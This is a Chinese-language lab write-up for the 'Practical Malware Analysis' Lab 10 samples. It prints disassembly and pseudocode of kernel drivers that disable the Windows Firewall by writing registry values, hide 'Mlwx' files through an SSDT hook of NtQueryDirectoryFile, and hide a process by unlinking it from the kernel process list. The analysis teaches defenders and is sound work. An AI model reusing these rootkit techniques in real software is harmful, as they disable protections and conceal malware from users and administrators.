恶意代码分析实战 Lab10

Lab10-01

静态分析

查看程序的导入函数:



该程序创建一个服务,控制一个服务,启动一个服务。

存在获取程序命令行参数,写文件,载入库,内存管理等相关操作。

驱动的导入函数:

存在注册表的修改操作。

Lab10-01.exe首先调用OpenSCManagerA获取服务管理器句柄:

1
2
3
4
5
6
.text:00401000                 sub     esp, 1Ch
.text:00401003 push edi
.text:00401004 push 0F003Fh ; dwDesiredAccess
.text:00401009 push 0 ; lpDatabaseName
.text:0040100B push 0 ; lpMachineName
.text:0040100D call ds:OpenSCManagerA

连接成功则调用CreateServiceA创建一个名为Lab10-01的服务,该服务使用了”C:\Windows\System32\Lab10-01.sys”中的指令,dwServiceType为1,即SERVICE_KERNEL_DRIVER,表明服务会被加载进内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00401020 create_service_401020:                  ; CODE XREF: WinMain(x,x,x,x)+17↑j
.text:00401020 push esi
.text:00401021 push 0 ; lpPassword
.text:00401023 push 0 ; lpServiceStartName
.text:00401025 push 0 ; lpDependencies
.text:00401027 push 0 ; lpdwTagId
.text:00401029 push 0 ; lpLoadOrderGroup
.text:0040102B push offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-01.sys"
.text:00401030 push 1 ; dwErrorControl
.text:00401032 push 3 ; dwStartType
.text:00401034 push 1 ; dwServiceType
.text:00401036 push 0F01FFh ; dwDesiredAccess
.text:0040103B push offset ServiceName ; "Lab10-01"
.text:00401040 push offset ServiceName ; "Lab10-01"
.text:00401045 push edi ; hSCManager
.text:00401046 call ds:CreateServiceA

若服务因为以及存在而创建失败,就会打开Lab10-01服务并获取句柄:

1
2
3
4
.text:00401052                 push    0F01FFh         ; dwDesiredAccess
.text:00401057 push offset ServiceName ; "Lab10-01"
.text:0040105C push edi ; hSCManager
.text:0040105D call ds:OpenServiceA

然后开启创建的服务:

1
2
3
4
5
.text:00401069 loc_401069:                             ; CODE XREF: WinMain(x,x,x,x)+50↑j
.text:00401069 push 0 ; lpServiceArgVectors
.text:0040106B push 0 ; dwNumServiceArgs
.text:0040106D push esi ; hService
.text:0040106E call ds:StartServiceA

最后调用ControlService来停止服务并卸载驱动:

1
2
3
4
5
.text:00401078                 lea     eax, [esp+24h+ServiceStatus]
.text:0040107C push eax ; lpServiceStatus
.text:0040107D push 1 ; dwControl
.text:0040107F push esi ; hService
.text:00401080 call ds:ControlService

驱动的entry point,将一个函数的地址存放到参数a1+52的地址处:

1
2
3
4
5
int __stdcall DriverEntry(int a1, int a2)
{
*(a1 + 52) = regEdit_10486;
return 0;
}

regEdit_10486函数主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NTSTATUS __stdcall regEdit_10486(int a1)
{
int ValueData; // [esp+Ch] [ebp-4h]

ValueData = 0;
RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft");
RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall");
RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile");
RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile");
RtlWriteRegistryValue(
0,
L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile",
&ValueName,
4u,
&ValueData,
4u);
return RtlWriteRegistryValue(
0,
L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile",
&ValueName,
4u,
&ValueData,
4u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:00010486                 mov     edi, edi
.text:00010488 push ebp
.text:00010489 mov ebp, esp
.text:0001048B push ecx
.text:0001048C push ebx
.text:0001048D push esi
.text:0001048E mov esi, ds:RtlCreateRegistryKey
.text:00010494 push edi
.text:00010495 xor edi, edi
.text:00010497 push offset Path ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:0001049C push edi ; RelativeTo
.text:0001049D mov [ebp+ValueData], edi
.text:000104A0 call esi ; RtlCreateRegistryKey
.text:000104A2 push offset aRegistryMachin_0 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104A7 push edi ; RelativeTo
.text:000104A8 call esi ; RtlCreateRegistryKey
.text:000104AA push offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104AF push edi ; RelativeTo
.text:000104B0 call esi ; RtlCreateRegistryKey
.text:000104B2 mov ebx, offset aRegistryMachin_2 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104B7 push ebx ; Path
.text:000104B8 push edi ; RelativeTo
.text:000104B9 call esi ; RtlCreateRegistryKey
.text:000104BB mov esi, ds:RtlWriteRegistryValue
.text:000104C1 push 4 ; ValueLength
.text:000104C3 lea eax, [ebp+ValueData]
.text:000104C6 push eax ; ValueData
.text:000104C7 push 4 ; ValueType
.text:000104C9 mov edi, offset ValueName
.text:000104CE push edi ; ValueName
.text:000104CF push offset aRegistryMachin_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:000104D4 push 0 ; RelativeTo
.text:000104D6 call esi ; RtlWriteRegistryValue
.text:000104D8 push 4 ; ValueLength
.text:000104DA lea eax, [ebp+ValueData]
.text:000104DD push eax ; ValueData
.text:000104DE push 4 ; ValueType
.text:000104E0 push edi ; ValueName
.text:000104E1 push ebx ; Path
.text:000104E2 push 0 ; RelativeTo
.text:000104E4 call esi ; RtlWriteRegistryValue
.text:000104E6 pop edi
.text:000104E7 pop esi
.text:000104E8 pop ebx
.text:000104E9 leave
.text:000104EA retn 4
.text:000104EA sub_10486 endp

即写入一些注册表的值来禁用防火墙。

Q1:这个程序是否直接修改了注册表(使用procmon来检查)?

可以通过procmon追到一条设置种子的注册表修改操作:

Q2:用户态的程序调用了ControlService函数,你是否能够使用WinDbg设置一个断点,以此来观察由于ControlService的调用导致内核执行了怎样的操作?

在恶意代码call ds:ControlService时下断点bp 00401080,然后在物理机器的windbg中查看驱动的结构体:

结构体0x34偏移处的DriverUnload(驱动卸载函数,即之前分析的regEdit_10486函数)值为:0xf8d11486。

  • 这里由于ASLR的原因,地址除了最后的1.5 byte的值486,其余的值都是随机的,而得到的地址的最后1.5 byte为486与函数RVA最后1.5 byte相同也说明了动态调试得到的DriverUnload函数地址的正确性。

之后即是regEdit_10486中的流程,对注册表进行一些修改,如:

1
RtlCreateRegistryKey(0, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft");


Q3:这个程序做了什么?

程序创建了一个服务来加载驱动Lab10-01,该驱动会通过设置注册表

\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile

以及

\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile

来关闭防火墙。

Lab10-02

静态分析

程序首先载入一个”FILE”资源:

1
2
3
4
5
6
7
8
.text:00401004                 push    offset Type     ; "FILE"
.text:00401009 push 65h ; lpName
.text:0040100B push 0 ; hModule
.text:0040100D call ds:FindResourceA
.text:00401013 mov edi, eax
.text:00401015 push edi ; hResInfo
.text:00401016 push 0 ; hModule
.text:00401018 call ds:LoadResource

该资源是一个PE文件:

载入成功便将其创建为:”C:\Windows\System32\Mlwx486.sys”:

1
2
3
4
5
6
7
8
9
10
11
.text:0040101E                 test    edi, edi
.text:00401020 mov ebx, eax
.text:00401022 jz exit_4010FF
.text:00401028 push 0 ; hTemplateFile
.text:0040102A push 80h ; dwFlagsAndAttributes
.text:0040102F push 2 ; dwCreationDisposition
.text:00401031 push 0 ; lpSecurityAttributes
.text:00401033 push 0 ; dwShareMode
.text:00401035 push 0C0000000h ; dwDesiredAccess
.text:0040103A push offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:0040103F call ds:CreateFileA

文件创建成功则将其创建为一个服务”486 WS Driver”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.text:00401045                 mov     esi, eax
.text:00401047 cmp esi, 0FFFFFFFFh
.text:0040104A jz exit_4010FF
.text:00401050 lea eax, [esp+10h+NumberOfBytesWritten]
.text:00401054 push 0 ; lpOverlapped
.text:00401056 push eax ; lpNumberOfBytesWritten
.text:00401057 push edi ; hResInfo
.text:00401058 push 0 ; hModule
.text:0040105A call ds:SizeofResource
.text:00401060 push eax ; nNumberOfBytesToWrite
.text:00401061 push ebx ; lpBuffer
.text:00401062 push esi ; hFile
.text:00401063 call ds:WriteFile
.text:00401069 push esi ; hObject
.text:0040106A call ds:CloseHandle
.text:00401070 push 0F003Fh ; dwDesiredAccess
.text:00401075 push 0 ; lpDatabaseName
.text:00401077 push 0 ; lpMachineName
.text:00401079 call ds:OpenSCManagerA
.text:0040107F test eax, eax
.text:00401081 jnz short create_service_401097
........
.text:00401097 create_service_401097: ; CODE XREF: _main+81↑j
.text:00401097 push 0 ; lpPassword
.text:00401099 push 0 ; lpServiceStartName
.text:0040109B push 0 ; lpDependencies
.text:0040109D push 0 ; lpdwTagId
.text:0040109F push 0 ; lpLoadOrderGroup
.text:004010A1 push offset BinaryPathName ; "C:\\Windows\\System32\\Mlwx486.sys"
.text:004010A6 push 1 ; dwErrorControl
.text:004010A8 push 3 ; dwStartType
.text:004010AA push 1 ; dwServiceType
.text:004010AC push 0F01FFh ; dwDesiredAccess
.text:004010B1 push offset DisplayName ; "486 WS Driver"
.text:004010B6 push offset DisplayName ; "486 WS Driver"
.text:004010BB push eax ; hSCManager
.text:004010BC call ds:CreateServiceA
.text:004010C2 mov esi, eax
.text:004010C4 test esi, esi
.text:004010C6 jnz short start_service_4010DC

开启该服务:

1
2
3
4
5
.text:004010DC start_service_4010DC:                   ; CODE XREF: _main+C6↑j
.text:004010DC push 0 ; lpServiceArgVectors
.text:004010DE push 0 ; dwNumServiceArgs
.text:004010E0 push esi ; hService
.text:004010E1 call ds:StartServiceA

最后关闭服务句柄:

1
2
3
.text:004010F8 close_service_4010F8:                   ; CODE XREF: _main+E9↑j
.text:004010F8 push esi ; hSCObject
.text:004010F9 call ds:CloseServiceHandle

资源中提取出的FILE驱动文件的driver entry:

1
2
3
4
5
6
7
INIT:000107AB                 mov     edi, edi
INIT:000107AD push ebp
INIT:000107AE mov ebp, esp
INIT:000107B0 call ___security_init_cookie
INIT:000107B5 pop ebp
INIT:000107B6 jmp _DriverEntry@8 ; DriverEntry(x,x)
INIT:000107B6 DriverEntry endp

_DriverEntry@8函数进入是一段对SSDT表进行挂钩的指令,用于查找NtQueryDirectoryFile以及KeServiceDescriptorTable的导出地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
INIT:00010706                 mov     edi, edi
INIT:00010708 push ebp
INIT:00010709 mov ebp, esp
INIT:0001070B sub esp, 10h
INIT:0001070E push esi
INIT:0001070F mov esi, ds:RtlInitUnicodeString
INIT:00010715 push edi
INIT:00010716 push offset aNtquerydirecto ; "NtQueryDirectoryFile"
INIT:0001071B lea eax, [ebp+DestinationString]
INIT:0001071E push eax ; DestinationString
INIT:0001071F call esi ; RtlInitUnicodeString
INIT:00010721 push offset aKeservicedescr ; "KeServiceDescriptorTable"
INIT:00010726 lea eax, [ebp+SystemRoutineName]
INIT:00010729 push eax ; DestinationString
INIT:0001072A call esi ; RtlInitUnicodeString
INIT:0001072C mov esi, ds:MmGetSystemRoutineAddress
INIT:00010732 lea eax, [ebp+DestinationString]
INIT:00010735 push eax ; SystemRoutineName
INIT:00010736 call esi ; MmGetSystemRoutineAddress
INIT:00010738 mov edi, eax
INIT:0001073A lea eax, [ebp+SystemRoutineName]
INIT:0001073D push eax ; SystemRoutineName
INIT:0001073E call esi ; MmGetSystemRoutineAddress

接下来遍历SSDT表,找出NtQueryDirectoryFile地址的值:

1
2
3
4
5
6
7
INIT:00010744 search_SSDT_10744:                      ; CODE XREF: DriverEntry(x,x)+4C↓j
INIT:00010744 add eax, 4
INIT:00010747 cmp [eax], edi
INIT:00010749 jz short loc_10754
INIT:0001074B inc ecx
INIT:0001074C cmp ecx, 11Ch
INIT:00010752 jl short search_SSDT_10744

最后使用sub_10486的地址替换NtQueryDirectoryFile的地址:

1
2
3
4
5
6
7
8
9
10
INIT:00010754 loc_10754:                              ; CODE XREF: DriverEntry(x,x)+43↑j
INIT:00010754 mov dword_1068C, edi
INIT:0001075A mov dword_10690, eax
INIT:0001075F pop edi
INIT:00010760 mov dword ptr [eax], offset sub_10486
INIT:00010766 xor eax, eax
INIT:00010768 pop esi
INIT:00010769 leave
INIT:0001076A retn 8
INIT:0001076A _DriverEntry@8 endp

sub_10486函数首先调用NtQueryDirectoryFile

1
2
3
4
5
6
7
8
9
10
11
12
.text:00010490                 push    dword ptr [ebp+RestartScan] ; RestartScan
.text:00010493 push [ebp+FileName] ; FileName
.text:00010496 push dword ptr [ebp+ReturnSingleEntry] ; ReturnSingleEntry
.text:00010499 push [ebp+FileInformationClass] ; FileInformationClass
.text:0001049C push [ebp+Length] ; Length
.text:0001049F push esi ; FileInformation
.text:000104A0 push [ebp+IoStatusBlock] ; IoStatusBlock
.text:000104A3 push [ebp+ApcContext] ; ApcContext
.text:000104A6 push [ebp+ApcRoutine] ; ApcRoutine
.text:000104A9 push [ebp+Event] ; Event
.text:000104AC push [ebp+FileHandle] ; FileHandle
.text:000104AF call NtQueryDirectoryFile

然后比较FileInformationClass是否为3,RestartScana是否大于0,ReturnSingleEntry是否为0:

1
2
3
4
5
6
7
.text:000104B6                 cmp     [ebp+FileInformationClass], 3
.text:000104BA mov dword ptr [ebp+RestartScan], eax
.text:000104BD jnz short loc_10505
.text:000104BF test eax, eax
.text:000104C1 jl short loc_10505
.text:000104C3 cmp [ebp+ReturnSingleEntry], 0
.text:000104C7 jnz short loc_10505
1
2
RestartScana = file_struct;
if ( FileInformationClass == 3 && file_struct >= 0 && !ReturnSingleEntry )

其中file_struct是NtQueryDirectoryFile的返回值。

然后检索到文件开始的字符,如果匹配”Mlwx”就进入接下来的操作:

1
2
3
4
5
6
.text:000104CA                 push    8               ; Length
.text:000104CC push offset Mlwx_1051A ; Source2
.text:000104D1 lea eax, [esi+5Eh]
.text:000104D4 push eax ; Source1
.text:000104D5 xor bl, bl
.text:000104D7 call ds:RtlCompareMemory

接下来进行隐藏文件的操作,隐藏文件的操作放在一个大循环中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while ( 1 )
{
v14 = 0;
if ( RtlCompareMemory(file_information + 94, L"Mlwx", 8u) == 8 )
{
v14 = 1;
if ( v13 )
{
if ( *file_information )
*v13 += *file_information;
else
*v13 = 0;
}
}
if ( !*file_information )
break;
if ( !v14 )
v13 = file_information;
file_information = (file_information + *file_information);
}

首先择出需要隐藏的文件:

1
2
3
4
5
6
7
8
9
10
11
if ( RtlCompareMemory(file_information + 94, L"Mlwx", 8u) == 8 )
{
v14 = 1;
if ( v13 )
{
if ( *file_information )
*v13 += *file_information;
else
*v13 = 0;
}
}

file_information为函数sub_10486传入的参数,在原来函数NtQueryDirectoryFile中的位置为FileInformation,这里指向的是当前文件的FILE_BOTH_DIR_INFORMATION结构体,v13是上一个文件的FILE_BOTH_DIR_INFORMATION结构体,*v13 += *file_information;的操作完成后,当前文件的上一个文件的FILE_BOTH_DIR_INFORMATION结构体会指向当前文件下一个文件的FILE_BOTH_DIR_INFORMATION结构体,这样就实现了隐藏当前文件。

最后检查下一个FILE_BOTH_DIR_INFORMATION结构体:

1
2
3
if ( !v14 )
v13 = file_information;
file_information = (file_information + *file_information);

动态分析

运行Lab10-02.exe后可以检查到驱动Mlwx486被载入到系统中:

检查SSDT表可以看到偏移0x244处函数明显被修改为0xf8cde486,根据ASLR的原则,可以猜测出该地址的函数为之前分析的sub_10486

恢复到运行程序之前,检查出被修改的函数是NtQueryDirectoryFile,与之前的静态分析结果相同:

在0xf8cde486设置断点并使断点被命中:

接下来运行的指令为sub_10486函数内部的指令。

Q1:这个程序创建文件了吗?它创建了什么文件?

该程序将隐藏的资源FILE复制为文件”C:\Windows\System32\Mlwx486.sys”,这是一个驱动文件,并且当该驱动被挂载后,”C:\Windows\System32\Mlwx486.sys”文件将会被隐藏。

Q2:这个程序有内核组件吗?

该程序有一个内核模块,这个内核模块被隐藏在文件的资源节中,名为”FILE”,当程序运行后,隐藏的内核组建写入硬盘并作为一个服务挂载到内核。

Q3:这个程序做了些什么?

这个程序首先将资源节中的隐藏的PE文件复制为”C:\Windows\System32\Mlwx486.sys”,然后将该驱动挂载为一个服务。当驱动运行后,会通过SSDT挂钩将NtQueryDirectoryFile修改为一个sub_10486函数,该函数除了原有的NtQueryDirectoryFile拥有的功能外,还会遍历”C:\Windows\System32”目录,将目录中以”Mlwx”为开头的文件隐藏。

Lab10-03

静态分析

Lab10-03.exe首先调用OpenSCManagerA获取服务管理器句柄:

1
2
3
4
.text:00401004                 push    0F003Fh         ; dwDesiredAccess
.text:00401009 push 0 ; lpDatabaseName
.text:0040100B push 0 ; lpMachineName
.text:0040100D call ds:OpenSCManagerA

将”C:\Windows\System32\Lab10-03.sys”启动为一个服务,服务名为:”Process Helper”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0040101B                 push    0               ; lpPassword
.text:0040101D push 0 ; lpServiceStartName
.text:0040101F push 0 ; lpDependencies
.text:00401021 push 0 ; lpdwTagId
.text:00401023 push 0 ; lpLoadOrderGroup
.text:00401025 push offset BinaryPathName ; "C:\\Windows\\System32\\Lab10-03.sys"
.text:0040102A push 1 ; dwErrorControl
.text:0040102C push 3 ; dwStartType
.text:0040102E push 1 ; dwServiceType
.text:00401030 push 0F01FFh ; dwDesiredAccess
.text:00401035 push offset DisplayName ; "Process Helper"
.text:0040103A push offset DisplayName ; "Process Helper"
.text:0040103F push eax ; hSCManager
.text:00401040 call ds:CreateServiceA

关闭服务句柄,得到\.\ProcHelper这个设备句柄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00401057 loc_401057:                             ; CODE XREF: WinMain(x,x,x,x)+4A↑j
.text:00401057 push esi ; hSCObject
.text:00401058 call ds:CloseServiceHandle
.text:0040105E push 0 ; hTemplateFile
.text:00401060 push 80h ; dwFlagsAndAttributes
.text:00401065 push 2 ; dwCreationDisposition
.text:00401067 push 0 ; lpSecurityAttributes
.text:00401069 push 0 ; dwShareMode
.text:0040106B push 0C0000000h ; dwDesiredAccess
.text:00401070 push offset FileName ; "\\\\.\\ProcHelper"
.text:00401075 call ds:CreateFileA
.text:0040107B cmp eax, 0FFFFFFFFh
.text:0040107E jnz short loc_40108C
.text:00401080 mov eax, 1
.text:00401085 pop esi
.text:00401086 add esp, 28h
.text:00401089 retn 10h

发送一些信息到内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0040108C loc_40108C:                             ; CODE XREF: WinMain(x,x,x,x)+7E↑j
.text:0040108C lea ecx, [esp+2Ch+BytesReturned]
.text:00401090 push 0 ; lpOverlapped
.text:00401092 push ecx ; lpBytesReturned
.text:00401093 push 0 ; nOutBufferSize
.text:00401095 push 0 ; lpOutBuffer
.text:00401097 push 0 ; nInBufferSize
.text:00401099 push 0 ; lpInBuffer
.text:0040109B push 0ABCDEF01h ; dwIoControlCode
.text:004010A0 push eax ; hDevice
.text:004010A1 call ds:DeviceIoControl
.text:004010A7 push 0 ; pvReserved
.text:004010A9 call ds:OleInitialize

最后每隔30000ms打开一个广告页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:004010B3                 lea     edx, [esp+2Ch+ppv]
.text:004010B7 push edi
.text:004010B8 push edx ; ppv
.text:004010B9 push offset dword_4040E0 ; riid
.text:004010BE push 4 ; dwClsContext
.text:004010C0 push 0 ; pUnkOuter
.text:004010C2 push offset rclsid ; rclsid
.text:004010C7 call ds:CoCreateInstance
.text:004010CD mov eax, [esp+30h+ppv]
.text:004010D1 test eax, eax
.text:004010D3 jz short loc_40112A
.text:004010D5 lea eax, [esp+30h+pvarg]
.text:004010D9 push eax ; pvarg
.text:004010DA call ds:VariantInit
.text:004010E0 push offset psz ; "http://www.malwareanalysisbook.com/ad.h"...
.text:004010E5 mov [esp+34h+var_10], 3
.text:004010EC mov [esp+34h+var_8], 1
.text:004010F4 call ds:SysAllocString
.text:004010FA mov edi, ds:Sleep
.text:00401100 mov esi, eax

Lab10-01.sys首先创建一个名为”\Device\ProcHelper”的设备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
INIT:0001071A                 push    offset aDeviceProchelp ; "\\Device\\ProcHelper"
INIT:0001071F lea eax, [ebp+DestinationString]
INIT:00010722 push eax ; DestinationString
INIT:00010723 call edi ; RtlInitUnicodeString
INIT:00010725 mov esi, [ebp+DriverObject]
INIT:00010728 lea eax, [ebp+DeviceObject]
INIT:0001072B push eax ; DeviceObject
INIT:0001072C push 0 ; Exclusive
INIT:0001072E push 100h ; DeviceCharacteristics
INIT:00010733 push 22h ; DeviceType
INIT:00010735 lea eax, [ebp+DestinationString]
INIT:00010738 push eax ; DeviceName
INIT:00010739 push 0 ; DeviceExtensionSize
INIT:0001073B push esi ; DriverObject
INIT:0001073C call ds:IoCreateDevice

然后调用IoCreateSymbolicLink创建了一个符号链接供用户态的应用程序访问这个设备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
INIT:00010746                 mov     eax, offset sub_10606
INIT:0001074B mov [esi+38h], eax
INIT:0001074E mov [esi+40h], eax
INIT:00010751 push offset word_107DE ; SourceString
INIT:00010756 lea eax, [ebp+SymbolicLinkName]
INIT:00010759 push eax ; DestinationString
INIT:0001075A mov dword ptr [esi+70h], offset sub_10666
INIT:00010761 mov dword ptr [esi+34h], offset sub_1062A
INIT:00010768 call edi ; RtlInitUnicodeString
INIT:0001076A lea eax, [ebp+DestinationString]
INIT:0001076D push eax ; DeviceName
INIT:0001076E lea eax, [ebp+SymbolicLinkName]
INIT:00010771 push eax ; SymbolicLinkName
INIT:00010772 call ds:IoCreateSymbolicLink

创建的符号链接:

1
2
3
4
5
6
7
8
9
10
11
12
if ( result >= 0 )
{
DriverObject->MajorFunction[0] = sub_10606;
DriverObject->MajorFunction[2] = sub_10606;
DriverObject->MajorFunction[14] = sub_10666;
DriverObject->DriverUnload = sub_1062A;
RtlInitUnicodeString(&SymbolicLinkName, &word_107DE);
v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( v3 < 0 )
IoDeleteDevice(DeviceObject);
result = v3;
}

sub_10606调用IofCompleteRequest告诉操作系统请求这个驱动成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PAGE:00010606 Irp             = dword ptr  0Ch
PAGE:00010606
PAGE:00010606 mov edi, edi
PAGE:00010608 push ebp
PAGE:00010609 mov ebp, esp
PAGE:0001060B mov ecx, [ebp+Irp] ; Irp
PAGE:0001060E and dword ptr [ecx+18h], 0
PAGE:00010612 and dword ptr [ecx+1Ch], 0
PAGE:00010616 xor dl, dl ; PriorityBoost
PAGE:00010618 call ds:IofCompleteRequest
PAGE:0001061E xor eax, eax
PAGE:00010620 pop ebp
PAGE:00010621 retn 8
PAGE:00010621 sub_10606 endp

sub_10666修改了当前进程的PEB,用于隐藏当前进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __stdcall sub_10666(int a1, PIRP Irp)
{
PEPROCESS cur_process; // eax
_DWORD *v3; // ecx

cur_process = IoGetCurrentProcess();
v3 = *(cur_process + 35);
cur_process = (cur_process + 0x88);
*v3 = *cur_process;
*(*cur_process + 4) = *(cur_process + 1); //链表截断,隐藏进程
Irp->IoStatus.Status = 0;
Irp->IoStatus.Information = 0;
IofCompleteRequest(Irp, 0);
return 0;
}

sub_1062A删除驱动设备:

1
2
3
4
5
6
7
8
9
10
11
void __stdcall sub_1062A(int a1)
{
_DEVICE_OBJECT *v1; // esi
struct _UNICODE_STRING DestinationString; // [esp+4h] [ebp-8h]

v1 = *(a1 + 4);
RtlInitUnicodeString(&DestinationString, &SourceString);
IoDeleteSymbolicLink(&DestinationString);
if ( v1 )
IoDeleteDevice(v1);
}

最后删除驱动并退出:

1
2
INIT:0001077E                 push    [ebp+DeviceObject] ; DeviceObject
INIT:00010781 call ds:IoDeleteDevice

动态分析

首先获取驱动地址:

得到主函数表地址:

主函数表中除了处理default情况的函数,还存在两个人为嵌入的函数,分别覆盖了Create,Close以及DeviceIoControl函数:

查看一下其实就是之前分析的sub_10666以及sub_10606,这也与ASLR的原则相匹配:

sub_10666修改的PEB中的0x88处的内容为_LIST_ENTRY:

结合之前分析的sub_10666函数,首先得到前一个进程以及后一个进程:

1
2
3
PAGE:00010671                 mov     ecx, [eax+8Ch]
PAGE:00010677 add eax, 88h
PAGE:0001067C mov edx, [eax]

截断链表隐藏进程:

1
2
3
4
5
PAGE:0001067C                 mov     edx, [eax]
PAGE:0001067E mov [ecx], edx
PAGE:00010680 mov ecx, [eax]
PAGE:00010682 mov eax, [eax+4]
PAGE:00010685 mov [ecx+4], eax

Q1:这个程序做了些什么?

首先将一个驱动装载为名为:”Process Helper”的服务,该服务会通过修改_LIST_ENTRY结构体将当前进程的PEB去除来隐藏恶意进程。然后服务不断的访问广告页”http://www.malwareanalysisbook.com/ad.html“ 。

Q2:一旦程序运行,你怎样停止它?

因为服务启动后进程的地址很难直接捕获,只能通过重启或者恢复虚拟机的方式终止进程。

Q3:它的内核组件做了什么操作?

sub_10666覆盖掉DeviceIoControl函数,主程序Lab10-01.exe调用DeviceIoControl时就会调度内存中的sub_10666函数,从_LIST_ENTRY结构体链表中去除掉当前进程的PEB,从而实现隐藏当前进程。